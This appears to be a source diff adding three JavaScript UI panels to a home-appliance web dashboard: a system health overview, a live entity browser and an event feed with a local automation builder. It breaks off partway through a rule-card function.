// §4.1 System Dashboard — the "home screen".
|
||||
// v0 Appliance health strip (always top) + SEED fleet overview +
|
||||
// ESP32 summary + COG runtime status row + event-bus sparkline.
|
||||
|
||||
import { h, clear, card, metric, pill, statusPill, sectionHeader, sparkline, provenanceBadge } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'System Dashboard' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
root.appendChild(sectionHeader('System Dashboard', 'Cognitum v0 Appliance — the machine you are looking at'));
|
||||
if (api.anyDemo()) root.appendChild(h('.banner.amber', 'DEMO mode (?demo=1) — panels show contract-conformant fixture data, not live (ADR-131 §2.2).'));
|
||||
|
||||
// Each section loads independently so one offline upstream can't blank
|
||||
// the dashboard (§11.1). A failed section renders a typed error card.
|
||||
let cleanupEvent = () => {};
|
||||
|
||||
// ── v0 Appliance health strip (always at top) ──────────────────
|
||||
await section(root, 'v0 Appliance health', async () => {
|
||||
const a = await api.appliance();
|
||||
const strip = h('.metric-grid',
|
||||
metric({ icon: '🖥', value: pctOrNA(a.cpu_pct), label: 'CPU' }),
|
||||
metric({ icon: '🧠', value: pctOrNA(a.ram_pct), label: 'RAM' }),
|
||||
metric({ icon: '⚡', value: pctOrNA(a.hailo_load_pct), label: 'Hailo-10H load' }),
|
||||
metric({ icon: '🌡', value: unitOrNA(a.hailo_temp_c, '°C'), label: 'Hailo temp' }),
|
||||
metric({ icon: '⏱', value: fmtUptime(a.uptime_s), label: 'Uptime', color: 'green' }));
|
||||
const healthCard = card({ title: 'v0 Appliance health', children: [strip, servicesRow(a.services)] });
|
||||
return h('div', healthCard, eventBus(a, ctx, (fn) => { cleanupEvent = fn; }));
|
||||
});
|
||||
|
||||
// ── SEED fleet overview + ESP32 summary ────────────────────────
|
||||
await section(root, 'SEED Fleet', async () => {
|
||||
const wrap = h('div');
|
||||
const seeds = await api.seeds();
|
||||
const warnings = await api.esp32Warnings().catch(() => []);
|
||||
const grid = h('.grid.cols-3');
|
||||
seeds.forEach((s) => grid.appendChild(seedCard(s, ctx)));
|
||||
wrap.appendChild(h('h2', 'SEED Fleet'));
|
||||
wrap.appendChild(grid);
|
||||
wrap.appendChild(esp32Summary(seeds, warnings));
|
||||
return wrap;
|
||||
});
|
||||
|
||||
// ── COG runtime status row ─────────────────────────────────────
|
||||
await section(root, 'COG Runtime', async () => cogRow(await api.cogs(), ctx));
|
||||
|
||||
return () => cleanupEvent();
|
||||
},
|
||||
};
|
||||
|
||||
// Run one dashboard section; on failure append a typed error card instead
|
||||
// of throwing (so the rest of the dashboard still renders).
|
||||
async function section(root, label, build) {
|
||||
try { root.appendChild(await build()); }
|
||||
catch (e) {
|
||||
root.appendChild(card({ children: [
|
||||
h('.banner.red', `${label} unavailable — ${e && e.message ? e.message : e}`),
|
||||
h('small.ts', e && e.upstreamUnavailable ? 'upstream not yet wired (ADR-131 §12)' : 'check the gateway / homecore-server'),
|
||||
] }));
|
||||
}
|
||||
}
|
||||
|
||||
function servicesRow(services) {
|
||||
const wrap = h('.flex.wrap.mt');
|
||||
services.forEach((s) => wrap.appendChild(h('span.flex.gap-sm', statusPill(s.status), h('span.mono.t2', `${s.name}:${s.port}`))));
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function seedCard(s, ctx) {
|
||||
const offline = !s.online;
|
||||
const c = card({
|
||||
tint: offline ? 'red' : null, clickable: true,
|
||||
onClick: () => ctx.navigate('#/seed/' + s.device_id),
|
||||
children: [
|
||||
h('.flex.spread', h('strong.mono', s.device_id), statusPill(s.online ? 'online' : 'offline')),
|
||||
h('.kv.mt',
|
||||
h('span.k', 'Firmware'), h('span.v.mono', s.firmware),
|
||||
h('span.k', 'Epoch'), h('span.v.purple', String(s.epoch)),
|
||||
h('span.k', 'Vectors'), h('span.v', s.vector_count.toLocaleString()),
|
||||
h('span.k', 'Last ingest'), h('span.v', relAgo(s.last_ingest)),
|
||||
h('span.k', 'Witness'), s.witness_valid ? pill('valid', 'green') : pill('invalid', 'red')),
|
||||
sensorSummary(s.sensors),
|
||||
],
|
||||
});
|
||||
return c;
|
||||
}
|
||||
|
||||
function sensorSummary(sensors) {
|
||||
if (!sensors) return h('.muted-empty', 'sensors offline');
|
||||
return h('.flex.wrap.gap-sm.mt',
|
||||
pill('PIR ' + (sensors.pir.motion ? 'motion' : 'still'), sensors.pir.motion ? 'amber' : 'grey'),
|
||||
pill('door ' + (sensors.reed.open ? 'open' : 'closed'), sensors.reed.open ? 'amber' : 'grey'),
|
||||
pill(sensors.bme280.temp_c + '°C', 'cyan'));
|
||||
}
|
||||
|
||||
function esp32Summary(seeds, warnings) {
|
||||
const total = seeds.reduce((n, s) => n + s.esp32_nodes, 0);
|
||||
const body = h('div',
|
||||
h('.flex.wrap',
|
||||
...seeds.filter((s) => s.esp32_nodes > 0).map((s) =>
|
||||
h('span.flex.gap-sm', h('span.mono.t2', s.device_id), pill(s.esp32_nodes + ' nodes', 'cyan'), h('span.t2', s.frame_rate_hz + ' Hz')))));
|
||||
if (warnings.length) {
|
||||
body.appendChild(h('.mt', h('h3', 'Warnings (target 100 Hz CSI + 1 Hz vectors)')));
|
||||
warnings.forEach((w) => body.appendChild(h('.row', h('span.mono', w.node_id), h('span.amber', w.issue))));
|
||||
}
|
||||
return card({ title: `ESP32 Nodes — ${total} active`, children: [body] });
|
||||
}
|
||||
|
||||
function cogRow(cogs, ctx) {
|
||||
const row = h('.flex.wrap.gap-sm');
|
||||
cogs.forEach((c) => {
|
||||
const p = statusPill(c.status);
|
||||
const wrap = h('span.flex.gap-sm.clickable', { style: { cursor: 'pointer' }, onClick: () => ctx.navigate('#/cogs') },
|
||||
p, h('span.mono.t2', c.id), c.arch === 'hailo10' ? pill('hailo', 'purple') : null);
|
||||
row.appendChild(wrap);
|
||||
});
|
||||
return card({ title: 'COG Runtime', children: [row] });
|
||||
}
|
||||
|
||||
function eventBus(a, ctx, setCleanup) {
|
||||
const rates = a.event_rate || [];
|
||||
const spark = sparkline(rates, { w: 240, hgt: 36 });
|
||||
const rate = rates.length ? rates[rates.length - 1] : 0;
|
||||
const lag = a.channel_lag || 0;
|
||||
const cap = a.channel_capacity || 4096;
|
||||
const body = h('div',
|
||||
h('.flex.spread', h('span.val.cyan', { style: { fontSize: '20px' } }, rate + ' ev/s'),
|
||||
h('span.t2', `capacity ${cap.toLocaleString()}`)),
|
||||
spark);
|
||||
if (lag > 0) body.appendChild(h('.banner.amber.mt', `Subscriber falling behind — ${lag} events lagged against the ${cap.toLocaleString()} capacity`));
|
||||
const host = h('span.t2');
|
||||
const un = ctx.onWs((st) => { clear(host); host.appendChild(document.createTextNode(st.state === 'open' ? (st.lagged ? ' · WS lagging' : ' · WS live') : ' · WS offline')); });
|
||||
body.appendChild(host);
|
||||
if (setCleanup) setCleanup(un);
|
||||
return card({ title: 'Event Bus activity', children: [body] });
|
||||
}
|
||||
|
||||
// §6 honesty: a null/undefined metric must render a distinct not-available
|
||||
// state ('—'), never a fabricated value like "null%"/"null°C".
|
||||
function pctOrNA(v) { return v == null ? '—' : v + '%'; }
|
||||
function unitOrNA(v, unit) { return v == null ? '—' : v + unit; }
|
||||
|
||||
function fmtUptime(s) {
|
||||
if (s == null) return '—';
|
||||
const d = Math.floor(s / 86400), hh = Math.floor((s % 86400) / 3600);
|
||||
return d > 0 ? `${d}d ${hh}h` : `${hh}h`;
|
||||
}
|
||||
function relAgo(iso) {
|
||||
const s = Math.round((Date.now() - Date.parse(iso)) / 1000);
|
||||
if (s < 60) return s + 's ago';
|
||||
if (s < 3600) return Math.round(s / 60) + 'm ago';
|
||||
return Math.round(s / 3600) + 'h ago';
|
||||
}
|
||||
@@ -0,0 +1,240 @@
|
||||
// §4.4 Entity & State Browser — live /api/states (real homecore REST).
|
||||
//
|
||||
// Entities grouped by domain (prefix before '.') in collapsible sections.
|
||||
// Each row carries entity_id (mono), current state, last-changed (relTime),
|
||||
// an INLINE provenanceBadge (§6 invariant 1 — SEED chain never collapsed),
|
||||
// and a collapsible attributes JSON view. A keyword filter (entity_id +
|
||||
// attribute keys/values) runs live; semantic search (ADR-132) is a future
|
||||
// hint. State changes arrive over WebSocket (ctx.onEvent) — rows patch in
|
||||
// place and flash; NEVER poll. The broadcast-channel lag indicator
|
||||
// (ctx.onWs) warns when the subscriber falls behind the 4,096 capacity.
|
||||
|
||||
import {
|
||||
h, clear, card, pill, sectionHeader, mono, provenanceBadge,
|
||||
slideover, collapsible, lagIndicator, relTime, banner,
|
||||
} from '../ui.js';
|
||||
import { api, entityProvenance } from '../api.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Entities' },
|
||||
async render(root, ctx) {
|
||||
root.appendChild(sectionHeader('Entity & State Browser', 'Live /api/states — every entity, grouped by domain, with SEED provenance'));
|
||||
|
||||
// ── lag indicator (broadcast channel vs 4,096 capacity) ─────────
|
||||
const lagHost = h('.flex.spread.mb');
|
||||
const lagSlot = h('span', lagIndicator('connecting', false));
|
||||
lagHost.appendChild(lagSlot);
|
||||
root.appendChild(lagHost);
|
||||
|
||||
// ── search / filter controls ────────────────────────────────────
|
||||
const search = h('input.search', {
|
||||
type: 'text',
|
||||
placeholder: 'Filter entities — id, attribute keys & values (case-insensitive)…',
|
||||
});
|
||||
const semantic = h('input.search', { type: 'text', placeholder: 'Semantic search (ADR-132)' });
|
||||
semantic.disabled = true;
|
||||
semantic.style.opacity = '0.5';
|
||||
root.appendChild(h('.flex.wrap.mb', { style: { gap: '8px' } },
|
||||
h('div', { style: { flex: '2', minWidth: '220px' } }, search),
|
||||
h('div', { style: { flex: '1', minWidth: '180px' } }, semantic)));
|
||||
|
||||
// ── load live state view ────────────────────────────────────────
|
||||
const listHost = h('div');
|
||||
root.appendChild(listHost);
|
||||
|
||||
// Production /api/states now THROWS on failure — there is NO mock
|
||||
// fallback. A failed load is an error state, not a DEMO substitution.
|
||||
let states;
|
||||
try {
|
||||
states = await api.states();
|
||||
} catch (e) {
|
||||
listHost.appendChild(banner('/api/states unavailable — ' + (e && e.message ? e.message : e), 'red'));
|
||||
return () => {};
|
||||
}
|
||||
if (!Array.isArray(states)) states = [];
|
||||
|
||||
// Demo mode legitimately serves fixtures (demoFlags.states is set by a
|
||||
// successful api.states() in demo mode) — label that, not a fallback.
|
||||
if (api.isDemo('states')) {
|
||||
root.insertBefore(banner('Demo mode — showing contract-conformant fixture entities (§7.1).', 'amber'), listHost);
|
||||
}
|
||||
|
||||
// index by entity_id so WS patches are O(1)
|
||||
const byId = new Map();
|
||||
states.forEach((s) => byId.set(s.entity_id, s));
|
||||
// per-entity row controllers (set state text + flash)
|
||||
const rows = new Map();
|
||||
|
||||
function render() {
|
||||
clear(listHost);
|
||||
const q = search.value.trim().toLowerCase();
|
||||
const groups = groupByDomain([...byId.values()], q);
|
||||
if (!groups.size) {
|
||||
listHost.appendChild(h('.muted-empty', q ? 'No entities match the filter.' : 'No entities reported.'));
|
||||
return;
|
||||
}
|
||||
// stable alphabetical domain order
|
||||
[...groups.keys()].sort().forEach((domain) => {
|
||||
const ents = groups.get(domain).sort((a, b) => a.entity_id.localeCompare(b.entity_id));
|
||||
const header = h('.flex.gap-sm', h('strong.mono', domain), pill(ents.length, 'cyan'));
|
||||
const section = collapsible(header, () => {
|
||||
const body = h('div');
|
||||
ents.forEach((e) => body.appendChild(entityRow(e)));
|
||||
return body;
|
||||
}, true);
|
||||
listHost.appendChild(card({ children: [section] }));
|
||||
});
|
||||
}
|
||||
|
||||
function entityRow(e) {
|
||||
const stateText = h('span.t1.mono', String(e.state));
|
||||
const changed = h('span.t3', relTime(e.last_changed));
|
||||
const top = h('.flex.spread', { style: { cursor: 'pointer', gap: '12px' }, onClick: () => openDetail(e) },
|
||||
h('.flex.wrap.gap-sm', { style: { flex: '1', minWidth: '0' } },
|
||||
mono(e.entity_id),
|
||||
stateText,
|
||||
changed),
|
||||
// SEED provenance badge — INLINE, never collapsed (§6 invariant 1)
|
||||
provenanceBadge(entityProvenance(e)));
|
||||
const attrs = collapsible(h('span.t2', 'attributes'),
|
||||
() => h('pre.json', JSON.stringify(e.attributes || {}, null, 2)), false);
|
||||
const wrap = h('.entity-row', { style: { padding: '8px 0', borderBottom: '0.67px solid var(--border)' } }, top, attrs);
|
||||
rows.set(e.entity_id, { stateText, changed, wrap });
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function openDetail(e) {
|
||||
const chain = contextChain(e.context, byId);
|
||||
const content = h('div',
|
||||
h('.kv',
|
||||
h('span.k', 'entity_id'), h('span.v.mono', e.entity_id),
|
||||
h('span.k', 'state'), h('span.v.mono', String(e.state)),
|
||||
h('span.k', 'last changed'), h('span.v', relTime(e.last_changed)),
|
||||
h('span.k', 'last updated'), h('span.v', relTime(e.last_updated))),
|
||||
h('.mt', h('h3', 'Provenance'), provenanceBadge(entityProvenance(e))),
|
||||
h('.mt', h('h3', 'Context causality'), chain),
|
||||
h('.mt', h('h3', 'Attributes'), h('pre.json', JSON.stringify(e.attributes || {}, null, 2))));
|
||||
slideover(e.entity_id, content);
|
||||
}
|
||||
|
||||
render();
|
||||
search.addEventListener('input', render);
|
||||
|
||||
// ── live WebSocket: patch state in place + flash (never poll) ────
|
||||
const unEvent = ctx.onEvent((ev) => {
|
||||
if (!ev || ev.event_type !== 'state_changed' || !ev.entity_id) return;
|
||||
const cur = byId.get(ev.entity_id);
|
||||
const ns = ev.new_state || {};
|
||||
if (cur) {
|
||||
// merge live fields onto the existing record
|
||||
cur.state = ns.state != null ? ns.state : cur.state;
|
||||
if (ns.attributes) cur.attributes = ns.attributes;
|
||||
if (ns.last_changed) cur.last_changed = ns.last_changed;
|
||||
if (ns.last_updated) cur.last_updated = ns.last_updated;
|
||||
if (ns.context) cur.context = ns.context;
|
||||
patchRow(ev.entity_id);
|
||||
} else {
|
||||
// a newly-appeared entity — fold it in and re-render the group
|
||||
byId.set(ev.entity_id, {
|
||||
entity_id: ev.entity_id,
|
||||
state: ns.state != null ? ns.state : 'unknown',
|
||||
attributes: ns.attributes || {},
|
||||
last_changed: ns.last_changed || new Date().toISOString(),
|
||||
last_updated: ns.last_updated || new Date().toISOString(),
|
||||
context: ns.context || { id: null, user_id: null, parent_id: null },
|
||||
});
|
||||
render();
|
||||
patchRow(ev.entity_id);
|
||||
}
|
||||
});
|
||||
|
||||
function patchRow(id) {
|
||||
const e = byId.get(id);
|
||||
const r = rows.get(id);
|
||||
if (!e || !r) return;
|
||||
r.stateText.textContent = String(e.state);
|
||||
r.changed.textContent = relTime(e.last_changed);
|
||||
// flash cyan then revert after 800ms (§4.4 live feedback)
|
||||
r.stateText.style.color = 'var(--cyan)';
|
||||
r.stateText.style.transition = 'none';
|
||||
setTimeout(() => {
|
||||
r.stateText.style.transition = 'color .6s ease';
|
||||
r.stateText.style.color = '';
|
||||
}, 800);
|
||||
}
|
||||
|
||||
// ── broadcast-channel lag indicator ─────────────────────────────
|
||||
const unWs = ctx.onWs((st) => {
|
||||
clear(lagSlot);
|
||||
lagSlot.appendChild(lagIndicator(st.state, st.lagged));
|
||||
if (st.lagged) {
|
||||
lagSlot.title = 'Subscriber behind the 4,096-event capacity — some state_changed events were dropped';
|
||||
}
|
||||
});
|
||||
|
||||
return () => { unEvent(); unWs(); };
|
||||
},
|
||||
};
|
||||
|
||||
/**
|
||||
* Group entities by domain (prefix before the first '.'), applying the
|
||||
* keyword filter across entity_id AND attribute keys/values.
|
||||
*/
|
||||
function groupByDomain(entities, q) {
|
||||
const groups = new Map();
|
||||
for (const e of entities) {
|
||||
if (q && !matches(e, q)) continue;
|
||||
const dot = e.entity_id.indexOf('.');
|
||||
const domain = dot > 0 ? e.entity_id.slice(0, dot) : '(no domain)';
|
||||
if (!groups.has(domain)) groups.set(domain, []);
|
||||
groups.get(domain).push(e);
|
||||
}
|
||||
return groups;
|
||||
}
|
||||
|
||||
/** Case-insensitive match across entity_id, state and attribute keys/values. */
|
||||
function matches(e, q) {
|
||||
if (e.entity_id.toLowerCase().includes(q)) return true;
|
||||
if (String(e.state).toLowerCase().includes(q)) return true;
|
||||
const attrs = e.attributes || {};
|
||||
for (const [k, v] of Object.entries(attrs)) {
|
||||
if (k.toLowerCase().includes(q)) return true;
|
||||
try {
|
||||
if (String(typeof v === 'object' ? JSON.stringify(v) : v).toLowerCase().includes(q)) return true;
|
||||
} catch (_) { /* circular/unstringifiable — skip */ }
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Render the Context causality chain (context.id → parent_id) as a mono
|
||||
* breadcrumb trail. Walks parent_id up through known contexts when the
|
||||
* parent entity is present, otherwise shows the raw id.
|
||||
*/
|
||||
function contextChain(ctxObj, byId) {
|
||||
if (!ctxObj || !ctxObj.id) return h('span.t3', 'no context');
|
||||
const seen = new Set();
|
||||
const ids = [];
|
||||
let cur = ctxObj;
|
||||
while (cur && cur.id && !seen.has(cur.id)) {
|
||||
seen.add(cur.id);
|
||||
ids.unshift(cur.id);
|
||||
if (!cur.parent_id) break;
|
||||
ids.unshift(cur.parent_id);
|
||||
seen.add(cur.parent_id);
|
||||
cur = findContext(cur.parent_id, byId);
|
||||
}
|
||||
const trail = h('.flex.wrap.gap-sm');
|
||||
ids.forEach((id, i) => {
|
||||
if (i > 0) trail.appendChild(h('span.arr.t3', '→'));
|
||||
trail.appendChild(mono(id));
|
||||
});
|
||||
return trail;
|
||||
}
|
||||
|
||||
function findContext(id, byId) {
|
||||
for (const e of byId.values()) {
|
||||
if (e.context && e.context.id === id) return e.context;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
// §4.8 Event Bus & Automation Feed — ADR-131 / ADR-129.
|
||||
//
|
||||
// Live event stream (seeded from /api/events, then prepended live from
|
||||
// the shared WS bus — never polled, §2/§4.4), a context-causality
|
||||
// breadcrumb on row expand (Context.id → parent_id → grandparent_id),
|
||||
// and a trigger→condition→action automation builder (ADR-129 scope:
|
||||
// UI-only, no backend persistence — rules live in a local array).
|
||||
|
||||
import {
|
||||
h, clear, card, pill, statusPill, sectionHeader, mono, relTime,
|
||||
collapsible, lagIndicator, button, banner,
|
||||
} from '../ui.js';
|
||||
|
||||
const MAX_ROWS = 200; // virtualization-lite: cap DOM rows, drop oldest.
|
||||
|
||||
// event-type → pill colour variant (§4.8).
|
||||
const VARIANT = {
|
||||
StateChanged: 'cyan',
|
||||
EntityRegistered: 'green',
|
||||
ConfigReloaded: 'purple',
|
||||
};
|
||||
function typePill(type) {
|
||||
return pill(type, VARIANT[type] || 'grey');
|
||||
}
|
||||
|
||||
// A live WS event carries event_type:'state_changed'; normalise it into
|
||||
// the same record shape as api.recentEvents() so the row renderer is one
|
||||
// code path.
|
||||
function normalizeLive(evt) {
|
||||
return {
|
||||
type: 'StateChanged',
|
||||
entity_id: evt.entity_id,
|
||||
old_state: evt.old_state,
|
||||
new_state: evt.new_state,
|
||||
ts: new Date().toISOString(),
|
||||
user_id: null,
|
||||
context: { id: null, parent_id: null, grandparent_id: null },
|
||||
source: 'live',
|
||||
_live: true,
|
||||
};
|
||||
}
|
||||
|
||||
const domainOf = (id) => String(id || '').split('.')[0] || '';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Events' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
const unsubs = [];
|
||||
|
||||
root.appendChild(sectionHeader('Event Bus & Automation', 'Live entity events + causality + automation builder (ADR-131 §4.8, ADR-129)'));
|
||||
if (api.isDemo('events')) {
|
||||
root.appendChild(banner('DEMO — event history is contract-conformant mock data until the live /api/events feed lands (§7.1). New rows still arrive over the WS bus.', 'amber'));
|
||||
}
|
||||
|
||||
// ── live lag indicator (top, fed by the shared WS bus) ──────────
|
||||
const lagHost = h('span');
|
||||
const paintLag = (st) => { clear(lagHost); lagHost.appendChild(lagIndicator(st.state, st.lagged)); };
|
||||
unsubs.push(ctx.onWs(paintLag)); // fires immediately
|
||||
|
||||
// ── filter bar (mirrors the Cog Store .search field) ────────────
|
||||
let filter = '';
|
||||
const search = h('input.search', {
|
||||
type: 'text',
|
||||
placeholder: 'Filter by entity domain · event type · source (e.g. "sensor", "ConfigReloaded", "seed-")',
|
||||
});
|
||||
search.addEventListener('input', () => { filter = search.value.trim().toLowerCase(); applyFilter(); });
|
||||
|
||||
const list = h('.event-stream', { style: { maxHeight: '460px', overflowY: 'auto' } });
|
||||
let rows = []; // { record, node } newest-first, capped to MAX_ROWS.
|
||||
|
||||
function matches(rec) {
|
||||
if (!filter) return true;
|
||||
const hay = [rec.type, rec.entity_id, domainOf(rec.entity_id), rec.source, rec.user_id]
|
||||
.filter(Boolean).join(' ').toLowerCase();
|
||||
return hay.includes(filter);
|
||||
}
|
||||
function applyFilter() {
|
||||
for (const r of rows) r.node.classList.toggle('hidden', !matches(r.record));
|
||||
}
|
||||
|
||||
function prepend(rec) {
|
||||
const node = eventRow(rec);
|
||||
rows.unshift({ record: rec, node });
|
||||
list.insertBefore(node, list.firstChild);
|
||||
node.classList.toggle('hidden', !matches(rec));
|
||||
while (rows.length > MAX_ROWS) {
|
||||
const old = rows.pop();
|
||||
if (old.node.parentNode) old.node.parentNode.removeChild(old.node);
|
||||
}
|
||||
}
|
||||
|
||||
// seed from history (oldest first → prepend so newest ends on top).
|
||||
// Wrap ONLY the history load: a missing/unwired recorder must NOT fail
|
||||
// the panel — render an inline note and continue with an empty history.
|
||||
// The live ctx.onEvent feed (below) attaches regardless (§12 W3).
|
||||
let history = [];
|
||||
let historyNote = null;
|
||||
try {
|
||||
history = await api.recentEvents(40);
|
||||
} catch (e) {
|
||||
history = [];
|
||||
historyNote = banner('Event history unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (recorder not yet wired — ADR-131 §12 W3)' : ''), 'amber');
|
||||
}
|
||||
for (let i = history.length - 1; i >= 0; i--) prepend(history[i]);
|
||||
if (!rows.length) list.appendChild(h('.muted-empty', 'No events yet — live events will appear here as they arrive.'));
|
||||
|
||||
// live events prepend as they arrive (never poll).
|
||||
unsubs.push(ctx.onEvent((evt) => {
|
||||
// strip the placeholder empty-state once real rows arrive.
|
||||
const empty = list.querySelector('.muted-empty');
|
||||
if (empty) empty.remove();
|
||||
prepend(normalizeLive(evt));
|
||||
}));
|
||||
|
||||
root.appendChild(card({
|
||||
title: 'Live event stream',
|
||||
children: [historyNote, h('.flex.spread.mb', h('span.t2', 'Newest first · capped to ' + MAX_ROWS + ' rows'), lagHost), search, list],
|
||||
}));
|
||||
|
||||
// ── automation builder (ADR-129) ────────────────────────────────
|
||||
root.appendChild(automationBuilder(api));
|
||||
|
||||
return () => { unsubs.forEach((u) => { try { u(); } catch {} }); };
|
||||
},
|
||||
};
|
||||
|
||||
// ── event row + causality breadcrumb ──────────────────────────────────
|
||||
function eventRow(rec) {
|
||||
const head = h('.flex.gap-sm.wrap',
|
||||
typePill(rec.type),
|
||||
h('strong.mono', rec.entity_id),
|
||||
rec.type === 'StateChanged'
|
||||
? h('span.t2', mono(rec.old_state == null ? '∅' : rec.old_state), h('span.arr.t3', { style: { margin: '0 6px' } }, '→'), mono(rec.new_state == null ? '∅' : rec.new_state))
|
||||
: null,
|
||||
h('span', { style: { marginLeft: 'auto' } }, h('small.ts', relTime(rec.ts))),
|
||||
rec.user_id ? pill('@' + rec.user_id, 'amber') : h('small.ts', 'system'),
|
||||
rec.source ? h('span.mono.t3', rec.source) : null);
|
||||
|
||||
return h('.event-row', { style: { padding: '6px 0', borderBottom: '0.67px solid var(--border)' } },
|
||||
collapsible(head, () => causalityBreadcrumb(rec.context), false));
|
||||
}
|
||||
|
||||
function causalityBreadcrumb(c) {
|
||||
const wrap = h('.causality', { style: { padding: '8px 0 4px' } });
|
||||
wrap.appendChild(h('span.t2', { style: { marginRight: '8px' } }, 'Context chain'));
|
||||
const chain = [
|
||||
['id', c && c.id],
|
||||
['parent', c && c.parent_id],
|
||||
['grandparent', c && c.grandparent_id],
|
||||
].filter(([, v]) => v != null);
|
||||
if (!chain.length) {
|
||||
wrap.appendChild(h('span.t3', 'no context recorded for this event'));
|
||||
return wrap;
|
||||
}
|
||||
chain.forEach(([label, val], i) => {
|
||||
if (i > 0) wrap.appendChild(h('span.arr.t3', { style: { margin: '0 8px' } }, '→'));
|
||||
wrap.appendChild(h('span.flex.gap-sm', { style: { display: 'inline-flex' } },
|
||||
h('small.ts', label), mono(val)));
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
// ── automation builder (trigger → condition → action) ─────────────────
|
||||
const TRIGGERS = [
|
||||
{ id: 'state_changed', label: 'state_changed on RoomState entity' },
|
||||
{ id: 'seed_reflex', label: 'SEED reflex rule fired' },
|
||||
{ id: 'custom_event', label: 'custom domain_event topic' },
|
||||
];
|
||||
const REFLEX_RULES = ['fragility_alarm', 'hd_anomaly_indicator'];
|
||||
const ACTION_KINDS = [
|
||||
{ id: 'call_service', label: 'Call service' },
|
||||
{ id: 'fire_event', label: 'Fire domain event' },
|
||||
];
|
||||
|
||||
function automationBuilder(api) {
|
||||
const rules = [];
|
||||
const listHost = h('div');
|
||||
|
||||
// Default callable-service options; enriched asynchronously from the
|
||||
// live service registry when reachable (failures are swallowed — the
|
||||
// builder stays usable with defaults, and we never leave a dangling
|
||||
// rejected promise in production).
|
||||
const serviceOpts = ['light.turn_on', 'light.turn_off', 'notify.mobile', 'homecore.recalibrate_room'];
|
||||
Promise.resolve()
|
||||
.then(() => api.services())
|
||||
.then((services) => {
|
||||
(services || []).forEach((s) => {
|
||||
const name = (s.domain && s.service) ? `${s.domain}.${s.service}` : String(s.name || s.id || s);
|
||||
if (name && !serviceOpts.includes(name)) { serviceOpts.push(name); serviceSel.appendChild(h('option', { value: name }, name)); }
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
// ── trigger editor ──
|
||||
const triggerSel = sel(TRIGGERS.map((t) => [t.id, t.label]));
|
||||
const thresholdInput = h('input.search.mono', { type: 'text', placeholder: 'threshold expression — e.g. anomaly.value > 0.8' });
|
||||
const reflexSel = sel(REFLEX_RULES.map((r) => [r, r]));
|
||||
const customInput = h('input.search.mono', { type: 'text', placeholder: 'domain_event topic — e.g. presence.regime_change' });
|
||||
const triggerExtra = h('div', { style: { marginTop: '8px' } });
|
||||
function paintTriggerExtra() {
|
||||
clear(triggerExtra);
|
||||
if (triggerSel.value === 'state_changed') triggerExtra.appendChild(thresholdInput);
|
||||
else if (triggerSel.value === 'seed_reflex') triggerExtra.appendChild(field('Reflex rule', reflexSel));
|
||||
else triggerExtra.appendChild(customInput);
|
||||
}
|
||||
triggerSel.addEventListener('change', paintTriggerExtra);
|
||||
paintTriggerExtra();
|
||||
|
||||
// ── condition editor ──
|
||||
const conditionInput = h('input.search.mono', { type: 'text', placeholder: 'condition expression — e.g. room.living_room.presence == "occupied"' });
|
||||
|
||||
// ── action editor ──
|
||||
const actionSel = sel(ACTION_KINDS.map((a) => [a.id, a.label]));
|
||||
const serviceSel = sel(serviceOpts.map((s) => [s, s]));
|
||||
const eventInput = h('input.search.mono', { type: 'text', placeholder: 'domain event to fire — e.g. automation.lr_night_dim' });
|
||||
const actionExtra = h('div', { style: { marginTop: '8px' } });
|
||||
function paintActionExtra() {
|
||||
clear(actionExtra);
|
||||
if (actionSel.value === 'call_service') actionExtra.appendChild(field('Service', serviceSel));
|
||||
else actionExtra.appendChild(eventInput);
|
||||
}
|
||||
actionSel.addEventListener('change', paintActionExtra);
|
||||
paintActionExtra();
|
||||
|
||||
function buildTrigger() {
|
||||
if (triggerSel.value === 'state_changed') return { kind: 'state_changed', entity: 'RoomState', threshold: thresholdInput.value.trim() };
|
||||
if (triggerSel.value === 'seed_reflex') return { kind: 'seed_reflex', rule: reflexSel.value };
|
||||
return { kind: 'custom_event', topic: customInput.value.trim() };
|
||||
}
|
||||
function buildAction() {
|
||||
if (actionSel.value === 'call_service') return { kind: 'call_service', service: serviceSel.value };
|
||||
return { kind: 'fire_event', event: eventInput.value.trim() };
|
||||
}
|
||||
|
||||
const addBtn = button('Add automation', {
|
||||
variant: 'primary',
|
||||
onClick: () => {
|
||||
rules.push({ trigger: buildTrigger(), condition: conditionInput.value.trim(), action: buildAction() });
|
||||
thresholdInput.value = ''; customInput.value = ''; conditionInput.value = ''; eventInput.value = '';
|
||||
renderRules();
|
||||
},
|
||||
});
|
||||
|
||||
function renderRules() {
|
||||
clear(listHost);
|
||||
if (!rules.length) { listHost.appendChild(h('.muted-empty', 'No automations defined yet (UI-only — not persisted).')); return; }
|
||||
rules.forEach((r, i) => listHost.appendChild(ruleCard(r, i, () => { rules.splice(i, 1); renderRules(); })));
|
||||
}
|
||||
renderRules();
|
||||
|
||||
const builder = card({
|
||||
title: 'Automation builder',
|
||||
children: [
|
||||
h('.t3.mb', 'Trigger → condition → action (ADR-129). UI scope only — assembled rules are held locally, not persisted to the appliance.'),
|
||||
h('.grid.cols-3',
|
||||
card({ title: 'Trigger', tint: null, children: [field('When', triggerSel), triggerExtra] }),
|
||||
card({ title: 'Condition', children: [field('And', conditionInput)] }),
|
||||
card({ title: 'Action', children: [field('Then', actionSel), actionExtra] })),
|
||||
h('.flex.mt', addBtn),
|
||||
],
|
||||
});
|
||||
|
||||
return h('div', builder, card({ title: 'Defined automations', children: [listHost] }));
|
||||
}
|
||||
|
||||
function ruleCard(r, i, onDelete) {
|
||||
return card({
|
||||
children: [
|
||||
h('.flex.spread',
|
||||
h('strong', 'Automation #' + (i + 1)),
|
||||
button('Remove', { variant: 'ghost', onClick: onDelete })),
|
||||
h('.flex.gap-sm.wrap.mt',
|
||||
pill('TRIGGER', 'cyan'), triggerSummary(r.trigger)),
|
||||
r.condition
|
||||
